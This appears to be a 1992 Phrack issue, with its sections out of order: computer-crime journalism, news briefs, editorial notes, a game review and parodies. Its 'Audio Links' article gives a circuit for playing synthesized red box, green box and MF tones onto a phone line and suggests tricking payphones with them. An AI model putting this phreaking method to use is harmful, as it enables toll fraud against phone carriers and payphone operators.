The advent of new technologies over the past decade has created a whole new casebook of serious crimes, but they have yet to gain the notoriety of computer viruses such as Friday 13th or Michelangelo.

More then 3,000 computer crimes around the world in the past 20 years have now been documented by SRI International (SRII), a Californian information security consultancy. They include attempted murder, fraud, theft, sabotage, espionage, extortion, conspiracy and ransom collection.

Against this disturbing background, Donn Parker, SRII's senior international security consultant, is telling businesses they will be under increasing attack >from sophisticated criminals using computer technology and from others intent on causing disruption.

"New technology brings new opportunities for crime," he says. "We must anticipate future types of crime in our security efforts before they become serious problems."

His prospective list ranges from the annoying to the fraudulent, and includes small computer theft, desktop forgery, digital imaging piracy, voice and electronic mail terrorism, fax graffiti attacks, electronic data interchange fraud, and placement of unauthorized equipment in networks.

Some of these crimes are more obvious than others. The advanced digital imaging systems now being used in the television and film industry to create spectacular special effects, for example, could become a new target for crime. As digital imaging can alter video images seamlessly, the possibilities for sophisticated fraud are numerous.

The theft of small computers and components has already increased. "I think it will be worse than the typewriter theft problem of the 1970s and 1980s," Mr. Parker says. "We are now teaching information‑security people that they have to learn how to protect small objects of high value. The content of the computers could be more valuable than the hardware itself.

"I do not think the criminal community is yet aware of a computer's value other than on the used equipment market, but ultimately some are going to figure out that the contents the data are more valuable, which could lead to information being used for extortion."

Desktop forgery is another crime that looks certain to boom and plague businesses of all types. Desktop publishing software, combined with the latest color laser printers and photocopiers, is proving an ideal forger's tool. Gone is the dingy cellar with printing plates and press: Forgers can work from comfortable offices or their own homes and produce more accurate fakes than ever before.

Original documents can be fed into a computer using a scanner, then subtly altered before being printed out. Business documents such as purchase orders and invoices are obvious targets for the forgers, as are checks. The quality of a forgery is now limited only by the paper on which it is printed.

Mr. Parker says: "As the technology gets cheaper and more available, this is something that could flourish."

But although many of these new forms of computer crime bring with them the possibility of increased business losses, one threat overshadows them all. "The big security issues are going to involve networks and the connection of computers to many others outside an organization," says Rod Perry, a partner with Coopers & Lybrand Deloitte, the consultants.

The fear is that sophisticated criminals will take advantage of a clash between the desire for system flexibility and the constraint necessarily imposed by security. Mr. Perry adds: "The business need is paramount, and people will accept the risk up to a point."

Networks are attractive because they allow information to be easily transferred between users, and give free and easy access to data bases from many locations within an organization that can extend across countries and continents. Making them secure against interference from both outside and within is difficult.

Mr. Parker says: "Today's microcomputers and local and global networks have left information security far behind. We are dealing with what we call cyberspace. We are connecting our networks so that we now have a single worldwide network of data communications.

"We have inadvertently freed the criminal from proximity to the crime. A criminal can be anywhere in the world, enter cyberspace by computer, and commit a crime anywhere else. The criminal is free to choose the jurisdiction area >from which he works, to minimize the punishment if he gets caught."

The great concern, he says, is if technological advances result in an "anarchy of conflicting security efforts. Consistent security practices should be applied uniformly as well as globally.

"When organizations in different countries with different national laws, different ways of valuing information assets, and different national ethical customs, use equipment from different manufacturers in their networks, they face the problem of matching their levels of security. They use the lowest common denominator, which in some instances may be practically non‑existent."

Some computer security consultants believe that network security headaches will involve some restriction in how they are used. All agree that passwords no longer offer appropriate forms of security.

Professor Roger Needham, of the University of Cambridge computing laboratory, says: "At the moment, there is a lot of shoddy computer use, but it will become more usual to take security seriously. In the world of doing business with paper, there are a tremendous number of rules of practice and conduct that are second nature; security procedures in the electronic medium will also have to become second nature."

SRII is developing software for what it says will be the world's most sophisticated detection system, designed to identify criminal users as they commit their crime.

Called IDES (Intruder Detection using Expert Systems), it works on the basis that a system intruder is likely to show a different behavior pattern from that of a legitimate user. IDES is programmed with a set of algorithms that build up profiles of how particular employees typically use the system. It can then inform the company's security division if it identifies any significant deviation.

IDES also monitors the whole system for failed log‑in attempts and the amount of processor time being used, and compares this with historical averages.

A future refinement will allow the system to profile groups of subjects so that it can tell, for example, when a secretary is not behaving like a "typical" secretary.

Business crime and computer crime will increasingly become one and the same, Mr. Parker says. Security will be increasingly built in to systems and "transparent" to the user.

"I think the overall loss to business from computer crime will decrease," he says. "But the loss per incident will increase because the risks and the potential gains will be greater."

________________________________________

PWN QuickNotes

~~~~~~~~~~~~~~

1. New Law Enforcement Bulletin Board (Government Technology, January 1992, Page 17) ‑‑ St. Paul, Minnesota ‑‑ The International Association of Chiefs of Police (IACP) and LOGIN Information Services has announced IACP NET, a new computer network that will link law enforcement professionals nationwide. The network uses advanced computer capabilities to foster and empower IACP's belief that strength through cooperation is the key to the success of law enforcement endeavors.

Communications services will be the interaction focus. An electronic mail feature allows private messaging among IACP NET members. Exchange of ideas will be encouraged and facilitated through electronic bulletin boards on general subject areas and computer conferencing on specific topics. Anchoring the communications service is the Quest‑Response Service, a service created and proven successful by LOGIN that allows members to post and respond to requests for information in a formatted and accessible manner.

________________________________________

2. ATMs Gobble Bankcards In Colorado (Denver Post, February 19, 1992) ‑‑ About 1,000 Colorado ATM users had their Visas and Mastercards abruptly terminated in February by an out‑of‑control computer system.

For 90 minutes during the President's Day weekend, the Rocky Mountain Bankcard System software told ATMS around the state to eat the cards instead of dishing out cash or taking deposits. The "once‑in‑a‑decade" glitch went unnoticed because it occurred as programmers were patching in a correction to a different problem.

The company is rushing new plastic and letters of apology to customers who got terminated.

________________________________________

3. Minister Denies Hackers Tampered With Licence Records (Chris Moncrieff, Press Association, January 27, 1992) ‑‑ Allegations that computer experts hacked into the records of the Driver and Vehicle Licensing Agency in Swansea are without substance and are to be retracted, Roads and Traffic Minister Christopher Chope said.

He was responding in a Commons‑written reply to Donald Anderson (Lab Swansea East), who had asked what investigations had been made following a report that hackers had been able to erase driving convictions from DVLA computer files. Mr. Chope said, "The Agency has discussed the recent allegations about unauthorized access to its computer records with the author of the original Police Review article, who has confirmed that there is no substance to them. "The author has agreed to retract the allegations in his next article." Mr. Anderson commented, "The importance of this reply is that it underlines the integrity of the system of driver‑licence records held in Swansea in spite of the allegations."

________________________________________

4. Software Virus Found At INTEL (New York Times News Service, March 3, 1992) ‑‑ Intel Corporation said it had stopped shipping a computer network software program because some units were found to be infected with the "Michelangelo" virus, a program that infects IBM and compatible personal computers and can potentially destroy data.

A division of Intel in Hillsboro, Oregon, said it had shipped more than 800 copies of the program, called LANSpool 3.01, which inadvertently contained the virus. The virus is designed to activate on March 6, Michelangelo's birthday, and can erase data and programs if it is not detected with antiviral software.

The company said it had checked its software with a virus‑scanning program before shipping it, but that it had failed to detect the virus.

A number of computer makers and software publishers have issued similar alerts about the Michelangelo program and a variety of companies are now offering free software to check for the virus.

There are more than 1,000 known software viruses that can copy themselves from computer to computer by attaching to programs and files.

________________________________________

5. Army Wants Virii (Bulletin of the Atomic Scientists, December 1991, Page 5)

"Attention Hackers, Uncle Sam Wants You!"

The U.S. Army has caught the computer virus bug and is now expanding its interest in germ warfare to include electronic germs.

The Army Center for Signal Warfare is soliciting proposals for the development of a "weaponized virus" or a piece of "malicious software" that could destroy an enemy's computers or software (_Technology Review_, October 1991). As project engineer Bob Hein explained, "This is the army. We're in the weapons business."

Hein said the army first became interested in the potential of computer viruses as offensive weapons after Myron Cramer's 1989 article in _Defense Electronics_ suggested that computer viruses offered "a new class of electronic warfare." But Gary Chapman, director of Computer Professionals for Social Responsibility, thinks it is more likely that the army's interest was piqued by a French science fiction novel, _Soft War_, describing army infiltration of Soviet computers.

Chapman, who called that army's plan to design killer computer viruses a "stupid policy," said that any viruses the army comes up with are more likely to paralyze the heavily networked U.S. computer system than to infiltrate enemy computers.

Hein insisted that the army will develop only controllable and predictable bugs that will not threaten U.S. computer users. Chapman pointed out that, like the biological agents they are named for, computer viruses are, by their very nature, uncontrollable.

________________________________________

6. BellSouth's MobilComm and Swiss watchmaker Swatch said they will form joint venture to market wristwatch pager. The watch will cost about $200 and will be sold in department stores. It will bear name of "Piepser," the German word for "beeper," using 4 tones to signal the wearer. Each signal is activated by a telephone number that owner assigns. In the 4th quarter of year, Swatch said it plans to introduce a model that can display telephone numbers. (Source: Communications Daily, March 5, 1992, Page 4)

________________________________________

7. U.S. District Judge Harold Greene denied several new motions by Nynex in a criminal case being brought by the Justice Department, charging the phone company with violating MFJ (Modified Final Judgment) through subsidiary Telco Research. The government also filed a new motion of its own, later denied, requesting Greene to hold a pretrial hearing to look into "actual or potential conflicts of interest" resulting from individuals to be called as witnesses for prosecution being represented by Nynex's law firm, Davis, Polk & Wardwell. DoJ said: "It appears that Davis, Polk represents present and former employes of Nynex in addition to the corporation." Nynex issued a statement saying it's "confident" that the trial would "confirm to our customers," shareholders, and the public that it has fully met its responsibilities under MFJ. Greene, having dismissed Nynex motions, set an April 6 trial date. (Communications Daily, March 24, 1992, Page 5)

________________________________________

8. US West has formed a subsidiary, US West Enhanced Services, that launched its first product, Fax Mail. The subsidiary will develop other products for the enhanced‑services market, including voice, fax and data applications, the company said. Test marketing of Fax Mail was conducted in Boise and was product‑introduced in Denver. US West described its new product as "voice mail for faxes," in that it stores incoming faxes until the subscriber calls in and instructs the service to print the waiting fax. Each fax mail subscriber is supplied with a personal fax telephone number. When a fax is received, Fax Mail can notify the subscriber automatically by depositing a message in voice mail or beeping a pager. The service costs $19.95 per month, US West said. (Communications Daily, March 24, 1992, Page 6)

________________________________________

9. Hacker Insurance ‑‑ Worried about the integrity of your bank's data network? Relax. Commercial banks and other depository institutions can now obtain up to $50 million in coverage for losses due to computer‑related crime. A new policy from Aetna Casualty and Surety Co. offers insurance against computer viruses, software piracy, and toll‑call fraud, among other high‑tech ripoffs. The Hartford, Connecticut insurer will also cover liabilities due to service bureau and communications failures with Aetna Coverage for Computer and Electronic Network Technology. Paul A. Healy, VP of Aetna's fidelity bond unit, says "the policy will help institutions manage the risk associated with the changing technology." (Information Week, March 30, 1992, Page 16)

________________________________________

39

- Introduction by Dispater

- Phrack Loopback by Phrack Staff

- Phrack Pro-Phile on Shadow Hawk 1 by Shadow Hawk 1 & Dispater

- Network Miscellany V by Datastream Cowboy

- DIALOG Information Network by Brian Oblivion

- Centigram Voice Mail System Consoles by unknown

- Special Area Codes II by Bill Huttig

- Air Fone Frequencies by Leroy Donnelly

- The Open Barn Door by Douglas Waller

- PWN/Part 1 by Datastream Cowboy

- PWN/Part 2 by Datastream Cowboy

- PWN/Part 3 by Datastream Cowboy

- PWN/Part 4 by Datastream Cowboy

Introduction

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 1 of 13

Issue XXXIX Index

__________

P H R A C K 3 9

June 26, 1992

__________

~You're Not Dealing With AT&T~

Welcome to Phrack 39. This will be the final issue before SummerCon '92. Details of SummerCon will appear in our special anniversary issue due late this summer ‑‑ Phrack 40. Rumor also has it that the next issue of Mondo 2000 will contain some type of coverage about SummerCon as well!

Phrack has been receiving an enormous amount of mail containing questions and comments from our readers and we really appreciate the attention, but we don't know what to do with it all. Phrack Loopback was created to address letters of this sort, but in a lot of cases, the senders of the mail are not indicating if their question is to be posted to Loopback or if they are to be identified as the author of their question in Loopback.

Dispater has been moving all across the country over the past couple of months, which is the primary reason for the delay in releasing this issue. However, now that he is settled, the fun is about to begin. He will be responding to your mail very soon and hopefully this will all be sorted out by issue 40. For right now, you can enjoy a variety of special interest articles and letters in this issue's Loopback, including "A Review of Steve Jackson Games' HACKER" by Deluge. Special thanks goes out to Mentor and Steve Jackson for a copy of the game and the totally cool looking poster. "Association of Security Sysadmins" is my favorite! ;)

Another problem situation that needs to be mentioned has to do with would‑be subscribers. For some reason the "phracksub@stormking.com" account has been receiving hundreds of requests from people who want to be added to the subscription list. This isn't how it works. You must subscribe yourself, we can't and won't do it for you. The instructions are included later in this file. Up till this point we have been informing people of their error and mailing them the instructions, but we will ignore these requests from now on. Anyone with an intelligence level high enough to enjoy Phrack should be capable of figuring out how to subscribe.

Phrack Pro‑Phile focuses on Shadow Hawk 1 ‑‑ The first hacker ever to be prosecuted under the Computer Fraud & Abuse Act of 1986. A lot of people don't realize that Robert Morris, Jr. was not the first because Shadow Hawk 1 was tried as a minor and therefore a lot of details in his case are not publicly known. Something to point out however is that the same people (William J. Cook and Henry Klupfel) that were responsible for prosecuting SH1 in 1989, came back in 1990 to attack Knight Lightning... but this time the government and Bellcore didn't fare as well and now both Cook and Klupfel (among others) are being sued in Federal Court in Austin, Texas (See Steve Jackson Games v. United States).

Now, before anyone starts flying off their keyboards screaming about our article "Air Fone Frequencies" by Leroy Donnelly, we will let you know what's what. Yes, the same article did recently appear in Informatik, however, both publications received it from the same source (Telecom Digest) and Informatik just had an earlier release date. At Phrack, we feel that the information was interesting and useful enough that our readers deserved to see it and we do not assume by any means that everyone on the Phrack list is also a reader of publications like Telecom Digest or Informatik.

Phrack's feature article in this issue is "The Complete Guide To The DIALOG Information Network" by Brian Oblivion. Our undying gratitude to Mr. Oblivion for his consistency in providing Phrack and its readers with entertaining quality articles... and we're told that the best is yet to come.

Longtime fans of Phrack might recall that Phrack 9 had an article on Dialog services and it also had an article on Centigram Voice Mail. Now 30 issues later, both topics are resurrected in much greater detail.

You will also note that the Centigram article in this issue is penned under the pseudonym of ">Unknown User<," a name that was adopted from the anonymous posting feature of the Metal Shop Private bulletin board (the birthplace of Phrack, sysoped by Taran King during 1985‑1987). The name ">Unknown User<" has traditionally been reserved for authors who did not wish to be identified in any capacity other than to the Phrack editors. In this case, however, even the staff at Phrack has absolutely no idea who the author of this file is because of the unique way of SMTP Fakemail it was delivered.

No Pirates' Cove in this issue. Be watching for the next Pirates' Cove in Phrack 40.

‑ ‑ ‑

Knight Lightning recently spoke at the National Computer Security Association's Virus Conference in Washington, D.C. His presentation panel which consisted of himself, Winn Schwartau (author of Terminal Compromise), and Michael Alexander (chief editor of ISPNews and formally an editor and reporter for ComputerWorld) was very well received and the people attending the conference appeared genuinely interested in learning about the hacking community and computer security. KL remarked that he felt really good about the public's reaction to his presentation because "its the first time, I've agreed to be on one of these panels and someone in the audience hasn't made accusatory or derogatory remarks."

"It's inappropriate for you to be here."

This was the warm reception KL and a few others received upon entering the room where the secret midnight society anti‑virus group was holding a meeting. It appears that a small number of anti‑virus "experts" have decided to embark on a mission to rid the country of computer bulletin boards that allow the dissemination of computer viruses... by any means possible, including the harassment of the sysops (or the sysops' parents if the operator is a minor).

At Phrack, some of us feel that there are no good viruses and are opposed to their creation and distribution. Others of us (e.g. Dispater) just think viruses are almost as boring as the people who make a carear out of exterminating them. However, we do not agree with the method proposed by this organization and will be watching.

‑ ‑ ‑ ‑

Special thanks for help in producing this issue:

Beta‑Ray Bill Crimson Flash (512) Datastream Cowboy Deluge Dispater, EDITOR Dokkalfar Frosty (of CyberSpace Project) Gentry

The Iron Eagle (of Australia) JJ Flash

Knight Lightning, Founder Mr. Fink

The Omega [RDT][‑cDc‑] The Public

Rambone Ripper of HALE

Tuc White Knight [RDT][‑cDc‑]

We're Back and We're Phrack!

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

HOW TO SUBSCRIBE TO PHRACK MAGAZINE

The distribution of Phrack is now being performed by the software called Listserv. All individuals on the Phrack Mailing List prior to your receipt of this letter have been deleted from the list.

If you would like to re‑subscribe to Phrack Inc. please follow these instructions:

1. Send a piece of electronic mail to "LISTSERV@STORMKING.COM". The mail must be sent from the account where you wish Phrack to be delivered.

2. Leave the "Subject:" field of that letter empty.

3. The first line of your mail message should read:

SUBSCRIBE PHRACK <your name here>

4. DO NOT leave your address in the name field!

(This field is for PHRACK STAFF use only, so please use a full name)

Once you receive the confirmation message, you will then be added to the Phrack Mailing List. If you do not receive this message within 48 hours, send another message. If you STILL do not receive a message, please contact "SERVER@STORMKING.COM".

You will receive future mailings from "PHRACK@STORMKING.COM".

If there are any problems with this procedure, please contact "SERVER@STORMKING.COM" with a detailed message.

You should get a conformation message sent back to you on your subscription.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Table Of Contents

~~~~~~~~~~~~~~~~~

1. Introduction by Dispater and Phrack Staff 12K

2. Phrack Loopback by Phrack Staff 24K

3. Phrack Pro‑Phile on Shadow Hawk 1 by Dispater 8K

4. Network Miscellany V by Datastream Cowboy 34K

5. DIALOG Information Network by Brian Oblivion 43K 6 Centigram Voice Mail System Consoles by >Unknown User< 36K

7. Special Area Codes II by Bill Huttig 17K

8. Air Fone Frequencies by Leroy Donnelly 14K

9. The Open Barn Door by Douglas Waller (Newsweek) 11K

10. PWN/Part 1 by Datastream Cowboy 30K

11. PWN/Part 2 by Datastream Cowboy 27K

12. PWN/Part 3 by Datastream Cowboy 29K

13. PWN/Part 4 by Datastream Cowboy 29K

Total: 314K

"Phrack. If you don't get it, you don't get it."

phracksub@stormking.com

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Somebody Watching? Somebody Listening?

*** Special Announcement ***

KNIGHT LIGHTNING TO SPEAK AT SURVEILLANCE EXPO '92

Washington, DC

The Fourth Annual International Surveillance and Countersurveillance Conference and Exposition focusing on Information Security and Investigations Technology will take place at the Sheraton Premiere in Tysons Corner (Vienna), Virginia on August 4‑7.

The seminars are on August 7th and include Craig Neidorf (aka Knight Lightning) presenting and discussing the following:

‑ Are law enforcement and computer security officials focusing their attention on where the real crimes are being committed?

‑ Should security holes and other bugs be made known to the public?

‑ Is information property and if so, what is it worth?

Experience the case that changed the way computer crime is investigated and prosecuted by taking a look at one of America's most talked about computer crime prosecutions: United States v. Neidorf (1990).

Exonerated former defendant Craig Neidorf will discuss the computer "hacker" underground, Phrack newsletter, computer security, and how it all came into play during his 7 month victimization by some of our nation's largest telephone companies and an overly ambitious and malicious federal prosecutor. Neidorf will speak about his trial in 1990 and how the court dealt with complex issues of First Amendment rights, intellectual property, and criminal justice.

Security professionals, government employees, and all other interested parties are invited to attend. For more information please contact:

American Technology Associates, Inc.

P.O. Box 20254

Washington, DC 20041

(202)331‑1125 Voice

(703)318‑8223 FAX

Phrack Loopback

==Phrack Inc.==

Volume Four, Issue Thirty‑Nine, File 2 of 13

[‑=:< Phrack Loopback >:=‑]

By Phrack Staff

Phrack Loopback is a forum for you, the reader, to ask questions, air problems, and talk about what ever topic you would like to discuss. This is also the place Phrack Staff will make suggestions to you by reviewing various items of note; magazines, software, catalogs, hardware, etc.

________________________________________

A Review of Steve Jackson Games' HACKER

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Deluge

They had to get around to it eventually. While I was scanning the game section at the not‑so‑well‑stocked game and comic store where I shop on occasion, I saw something that caught my eye: A game called "Hacker" by Steve Jackson Games.

What you see on the cover gives you a clue that this game is a bit more than the typical trash we see about hackers. Here we have a guy with a leather jacket with a dinosaur pin, John Lennon shades, a Metallica shirt, and a really spiffy spiked hairdo. This guy has an expression with a most wicked grin, and his face is bathed in the green glow of a monitor. Various decorations in the room include a model rocket, a skateboard, a pizza box, and a couple of Jolt Cola cans. Behind him, hanging on his wall, are a couple of posters, one which says, "Legion of Doom Internet World Tour," and another which says, "Free the Atlanta Three." On his bookshelf, we see a copy of Neuromancer, Illuminati BBS, and The Phoenix‑‑ (I assume "Project" follows, and don't ask me why this guy has BBSes in his bookshelf). Finally, there's a note tacked to the LOD poster that says "PHRACK SummerCon CyberView, St. Louis" which appears to be an invitation of some kind.

This struck me as quite interesting.

Twenty bucks interesting, as it turns out, and I think it was twenty well spent. Now don't tell me Steve Jackson Games has no significance for you (sigh). Ok, here is how Steve tells it (in the intro to the game):

‑‑‑‑‑

"In 1990, Steve Jackson Games was raided by the U.S. Secret Service during a 'hacker hunt' that went disastrously out of control. We lost several computers, modems, and other equipment. Worse, we lost the manuscripts to several uncompleted games, most notably _GURPS Cyberpunk_, which a Secret Service agent the next day called 'a handbook for computer crime.' The company had to lay off half its staff, and narrowly avoided bankruptcy.

"Eventually we got most of our property back (though some of it was damaged or destroyed). The Secret Service admitted that we'd never been a target of their investigation. We have a lawsuit pending against the officials and agencies responsible.

"But since the day of the raid, gamers have been asking us, 'When are you going to make a game about it?' Okay. We give up. Here it is. Have fun."

‑‑‑‑‑

Weeeell...everybody naturally wants to look as good as they can, right? For the real lowdown on the whole situation, a scan through some old CUDs would be in order, where you could find a copy of the warrant which authorized this raid. I can tell you that Loyd Blankenship is the author of SJG's _GURPS Cyberpunk_, so draw your own conclusions.

Hacker is played with cards. This does NOT, in my view, make it a card game, though it is advertised that way. It's pretty similar to Illuminati, requiring a lot of diplomacy, but it has a totally different flavor.

The goal here is to become the mondo superhacker king of the net by getting access on twelve systems. You build the net as you go along, upgrading your system, hacking systems, and looking for ways to screw your fellow hackers so they can't be king of the net before you can get around to it. While the hacking aspect is necessarily resolved by a dice roll, the other aspects of this game ring true. They distinguish between regular and root access on systems, have specific OSes, specific net types, NetHubs, secret indials, back doors, and, of course, the feds, which range from local police to combined raids from the FBI and other government authorities.

This is a good game all on its own. It's fun, it has a fair amount of strategy, lots of dirty dealing, and a touch of luck to spice things up. And if things get too hairy and blood is about to flow, they inevitably cool down when someone uses a special card. Quite a few of these are funny as hell. Some examples:

Trashing: Somebody threw away an old backup disk. Bad idea. You can leave them e‑mail about it...from their own account.

Get A Life: A new computer game ate your brain. 100 hours later, you beat it, and you're ready to get back to hacking, but you get only one hack this turn. There is another one of these about meeting a member of the opposite sex and briefly entertaining the notion that there is more to life than hacking.

Original Manuals: The official system manuals explain many possible security holes. This is good. Some system administrators ignore them. This is bad. They usually get away with it because most people don't have the manuals. This is good. But YOU have a set of manuals. This is very interesting.

Social Engineering: "This is Joe Jones. My password didn't work. Can you reset it to JOE for me?" There is another one of these that says something about being the phone company checking the modem line, what's your root password please.

And my favorite, a card designed to be played to save yourself from a raid:

Dummy Equipment: The investigators took your TV and your old Banana II, but they overlooked the real stuff! No evidence, no bust ‑‑ and you keep your system.

As you can see, this game goes pretty far toward catching the flavor of the real scene, though some of it is necessarily stereotypical. Well, enough praise. Here are a couple of gripes.

The game is LONG. A really nasty group of players can keep this going for hours. That isn't necessarily a bad thing, but be forewarned. A few modifications to shorten it up are offered, but the short game is a little like masturbating. Just not as good as the real thing.

There was too much work to get the game ready to play. I've gotten used to some amount of setting up SJGs, and believe me, I would not have bought more unless they were good, and they always are, but the setup has not usually been such a pain. HACKER has a lot of pieces, and a lot of them come on a single page, requiring you to hack them out with scissors and hope you don't do something retarded like cut the wrong thing off. Once I got done with this, everything was cool, but this was a real pain.

So, overall, what do I think? Four stars. If you play games, or if you're just massively hip to anything about hacking, get this game. You're gonna need at least three players, preferably four or five (up to six can play), so if you only know one person, don't bother unless you have some hope of getting someone else to game with you.

And when Dr. Death or the K‑Rad Kodez Kid calls you up and wonders where you've been lately, just tell him you're busy dodging feds, covering your tracks, and hacking for root in every system you find in your quest to call yourself king of the net, and if he doesn't support you...well, you know what to do with posers who refuse to believe you're God, don't you?

Muahahahahahahaahaha!

________________________________________

CPSR Listserv

~~~~~~~~~~~~~

Computer Professionals for Social Responsibility (CPSR) has set up a list server to (1) archive CPSR‑related materials and make them available on request, and (2) disseminate relatively official, short, CPSR‑related announcements (e.g., press releases, conference announcements, and project updates). It is accessible via Internet and Bitnet e‑mail. Mail traffic will be light; the list is set up so that only the CPSR Board and staff can post to it. Because it is self‑subscribing, it easily makes material available to a wide audience.

We encourage you to subscribe to the list server and publicize it widely, to anyone interested in CPSR's areas of work.

To subscribe, send mail to:

listserv@gwuvm.gwu.edu (Internet) OR listserv@gwuvm (Bitnet)

Your message needs to contain only one line:

subscribe cpsr <your first name> <your last name>

You will get a message that confirms your subscription. The message also explains how to use the list server to request archived materials (including an index of everything in CPSR's archive), and how to request more information about the list server.

Please continue to send any CPSR queries to cpsr@csli.stanford.edu.

If you have a problem with the list server, please contact the administrator, Paul Hyland (phyland@gwuvm.gwu.edu or phyland@gwuvm).

We hope you enjoy this new service.

________________________________________

TRW Allows Inspection

~~~~~~~~~~~~~~~~~~~~~

According to USA Today, as of April 30, you can get a free copy of your TRW credit report once a year by writing to:

TRW Consumer Assistance

P.O. Box 2350

Chatsworth, CA 91313‑2350

Include all of the following in your letter:

‑ Full name including middle initial and generation such as Jr, Sr, III etc. ‑ Current address and ZIP code.

‑ All previous addresses and ZIPs for past five years.

‑ Social Security number.

‑ Year of birth.

‑ Spouse's first name.

‑ A photocopy of a billing statement, utility bill, driver's license or other document that links your name with the address where the report should be mailed.

________________________________________

The POWER Computer Lives!

~~~~~~~~~~~~~~~~~~~~~~~~~

Do the words of the prophet Abraham Epstein ring true? (Remember him from his correspondence in Phrack 36 Loopback?)

If you don't believe that The IBM/TV Power Computer and is attempting to take over the world then read the following and judge for yourself.

o IBM is the worlds largest corporation.

o IBM has more in assets than most small countries.

o In 1991 IBM and it's arch enemy, Apple Computer, have joined forces to build the POWER computer.

o The POWER computer will replace all existing Macintosh, PS/2, and RS/6000 machines.

o The POWER architecture will be licenced to third‑party companies in order that they may build their own POWER computers.

o With both Apple Computer (QuickTime) and IBM (Ultimedia) advancing their work on Multimedia, it can only mean that the POWER computer will speak through TV.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Here are some quotes from Harley Hahn of IBM's Advanced Workstation Division:

"PowerOpen is a computing architecture based on AIX and the POWER Architecture. To that we've added the PowerPC architecture [a lowend implementation if POWER ] and the Macintosh interface and applications."

"Our goal is to create the major RISC computing industry standard based on the PowerPC architecture and the PowerOpen environment."

"Eventually all our workstations will use POWER"

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Here's a quote from Doug McLean of Apple Computer:

"It is our intention to replace the 68000 in our entire line of Macintosh computers with PowerPC chips."

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

The PROPHECY IS COMING TRUE. We have no time to lose. Unless we act quickly the world will come to an abrupt end as the POWER COMPUTER passes wind on all of us.

Abraham Epstein [Big Daddy Plastic Recycling Corporation] [Plastic Operations With Energy Resources (POWER)]

________________________________________

Major Virus Alert

~~~~~~~~~~~~~~~~~

George Bush Virus ‑ Doesn't do anything, but you can't get rid of it until November.

Ted Kennedy Virus ‑ Crashes your computer, but denies it ever happened. Warren Commission Virus ‑ Won't allow you to open your files for 75 years Jerry Brown Virus ‑ Blanks your screen and begins flashing an 800 number. David Duke Virus ‑ Makes your screen go completely white. Congress Virus ‑ Overdraws your disk space.

Paul Tsongas Virus ‑ Pops up on Dec. 25 and says "I'm Not Santa Claus." Pat Buchanan Virus ‑ Shifts all output to the extreme right of the screen. Dan Quayle Virus ‑ Forces your computer to play "PGA TOUR" from 10am to 4pm, 6 days a week

Bill Clinton Virus ‑ This virus mutates from region to region. We're not exactly sure what it does.

Richard Nixon Virus ‑ Also know as the "Tricky Dick Virus." You can wipe it out, but it always makes a comeback. H. Ross Perot Virus ‑ Same as the Jerry Brown virus, only nicer fonts are used, and it appears to have had a lot more money put into its development.

________________________________________

AUDIO LINKS

~~~~~~~~~~~

By Mr. Upsetter

It all started with my Macintosh...

Some time ago I had this crazy idea of connecting the output from the audio jack of my Macintosh to the phone line. Since the Macintosh has built in sound generation hardware, I could synthesize any number of useful sounds and play them over the phone. For instance, with a sound editing program like SoundEdit, it is easy to synthesize call progress tones, DTMF and MF tones, red box, green box, and other signalling tones. So I set out to do exactly this. I created a set of synthesized sounds as sound resources using SoundEdit. Then I wrote a HyperCard stack for the purpose of playing these sounds. Now all I needed was a circuit to match the audio signal from the headphone jack of my Mac to the phone line.

How The Circuit Works

~~~~~~~~~~~~~~~~~~~~~

I designed a simple passive circuit that does the job quite well. Here is the schematic diagram.

+‑‑‑‑‑‑+ T1 +‑‑‑‑‑‑+

o‑‑‑‑‑| R1 |‑‑‑‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑‑‑(| |)‑‑‑‑‑| C1 |‑‑‑‑‑o‑‑‑‑‑o

+‑‑‑‑‑‑+ +| ‑|

+‑‑‑+ +‑‑‑+

to Mac | D | | D | 8 (| |) 500 |VR | to headphone | 1 | | 2 | ohm (| |) ohm | 1 | phone

jack +‑‑‑+ +‑‑‑+ (| |) line

‑| +|

o‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑‑‑‑‑‑o‑‑‑‑‑‑‑‑(| |)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑o‑‑‑‑‑o

C1‑.22 uF, 200V

D1,D2‑ 1N4148 switching diode

R1‑620 ohm, 1/4W

T1‑ 8 ohm to 500 ohm audio transformer, Mouser part 42TL001 VR1‑300V MOV, Mouser part 570‑V300LA4

VR1 is a 300V surge protector to guard against transient high voltages. Capacitor C1 couples the phone line to transformer T1, blocking the phone line's DC voltage but allowing the AC audio signal to pass. The transformer matches the impedance of the phone line to the impedance of the headphone jack. Diodes D1 and D2 provide clipping for additional ringing voltage protection (note their polarity markings in the schematic). They will clip any signal above 7 volts. Resistor R1 drops the volume of the audio signal from the Mac to a reasonable level. The end result is a circuit that isolates the Mac from dangerous phone line voltages and provides a good quality audio link to the phone line.

Building and Using the Circut

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This simple circuit is easy to build (if you're handy with electronics). I personally prefer to solder the circuit together. A length of shielded audio cable with a 1/8 inch mono plug on one end should be connected to the audio input end of the circuit. A standard RJ11 phone jack should be connected to the phone line end of the circuit. Although this circuit will protect against dangerous phone line voltages, it is best to disconnect it when not in use. You just don't want to risk anything bad happening to your brand new Quadra 900, right?

Once you have an audio link between your Mac and the phone line, the applications are limitless. Use HyperCard's built‑in DTMF dialing to dial for you, or build a memory dialer stack. Talk to people with Macintalk. Play your favorite Ren and Stimpy sounds for your friends. Play a ringback tone to "transfer" people to an "extension". Build and use a set of synthesized MF tones. Try to trick COCOT's with synthesized busy and reorder signals.

But Wait, There Is More...

~~~~~~~~~~~~~~~~~~~~~~~~~~

